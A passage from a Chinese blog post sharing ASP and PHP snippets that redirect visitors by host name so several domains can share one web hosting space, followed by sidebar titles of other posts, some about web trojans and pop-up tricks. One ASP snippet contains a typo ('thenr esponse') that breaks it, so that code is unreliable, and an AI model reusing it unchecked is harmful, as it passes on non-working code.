<%if instr(Request.ServerVariables ("SERVER_NAME"),"aaa.com")>0 then response.redirect "index.asp" else if instr(Request.ServerVariables ("SERVER_NAME"),"bbb.com")>0 then response.redirect "x/index.asp" else if instr(Request.ServerVariables ("SERVER_NAME"),"ccc.com")>0 thenr esponse.redirect "index3.asp" end if end if end if%>

第四个（推荐，注意if...else if... end if循环对应）

<% if Request.ServerVariables("SERVER_NAME")="clang.cn" then response.redirect "/index.asp" else if Request.ServerVariables("SERVER_NAME")="www.clang.cn" then response.redirect "/index.asp" else if Request.ServerVariables("SERVER_NAME")="clang.04.vip5.cn" then response.redirect "/index.asp" else if Request.ServerVariables("SERVER_NAME")="tcr.clang.cn" then response.redirect "/tblog" else response.redirect "/index.asp" end if end if end if end if %>

PHP代码

<?php if($HTTP_HOST=="www.clang.cn") { Header("Location: http://www.clang.cn/blog"); } elseif($HTTP_HOST=="clang.cn") { Header("Location: http://clang.cn/blog"); } else { include_once('/blog'); } ?>

分类: 资源共享标签: 小技巧

Chinadu's Blog

存档

过Windows SP2的IE_VML网页木马生成器

中国被黑站点统计系统 2006年9月分析报告

自动选择最快服务器的代码

解决killMBR

NetCat 网络飞猫 Version2.00

超强NB 的弹出代码，不弹都不行，3721，GOOGLE工具都拦截不了。

大型网站操作系统与Web服务器窥探

同一空间绑定多域名的ASP、PHP代码

About Me

站内搜索

日历

最新文章

热门文章

近期评论

文章归档

Categories

Blogroll

Archives

2012 年五月
一	二	三	四	五	六	日
« 三
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30	31